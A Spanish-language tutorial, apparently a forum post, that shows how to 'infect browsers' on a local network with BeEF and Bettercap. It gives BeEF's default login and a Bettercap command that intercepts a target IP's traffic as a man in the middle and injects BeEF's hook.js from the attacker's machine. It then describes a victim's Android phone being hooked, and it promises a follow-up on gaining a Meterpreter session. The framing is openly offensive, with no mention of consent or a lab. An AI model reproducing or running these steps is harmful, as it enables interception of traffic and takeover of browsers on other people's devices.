Hola a todos, en esta entrada vamos a aprender como infectar navegadores con codigo javascript

Primero un poco de teoria.
¿Que es BeEF?Basicamente BeEF es un framework diseñado para la explotacion de navegadores atravez de codigo javascript , dicho framework tiene una grandisima cantidad de opciones de post-explotacion que vamos a ver en profundidad en las siguientes entradas .
¿Que es Bettercap ?Bettercap es un framework para ataques MITM (man in the middle) completo y modular que surgió con el objetivo de brindarnos una herramienta mas completa y estable que ettercap.
Ahora pasemos a la parte divertida

Primero vamos a abrir un terminal y vamos a correr beef con el siguiente comando:
beef-xss

Luego de lanzar este comando automaticamente se nos tendria que abrir una ventana del navegador asi:

En el caso de que el navegador no se abra lo abrimos nosotros y colocamos la siguiente direccion: Los enlaces son solo para miembros.
Registrate o
iniciá sesiónEl usuario y contraseña por efecto son:
user: beef
pass: beef

Ok, por ahora dejariamos beef asi, pasemos a Bettercap:
Abrimos otra terminal en la que lanzaremos bettercap indicandole nuestro target (objetivo) , el modulo que vamos a utilizar y la ruta del javascript malicioso proporcionado por beef con el siguiente comando:
bettercap -T 192.168.0.101 --proxy-module injectjs --js-url "http://192.168.0.104:3000/hook.js"

Luego tendriamos que ver lo siguiente:

ahora vamos a ver como bettercap inyecta el codigo javascript que le indicamos en las peticiones de nuestra victima

Muy bien como vemos nuestra victima ingreso a la pagina m.taringa.net desde su android , (
en este caso la maquina victima es un smartphone pero el ataque es igualmente eficaz en cualquier tipo de dispositivo o so ) y la herramienta automaticamente inyecto el codigo javascript .
Bien ahora veamos que pasa por el lado de nuestro querido beef:

Perfecto!!! veamos la informacion de el navegador victima.

Muy bien asta aca llego este post , esten atentos a nuevas entradas ya que aprenderemos a obtener una sesion de meterpreter mediante esta gran herramienta .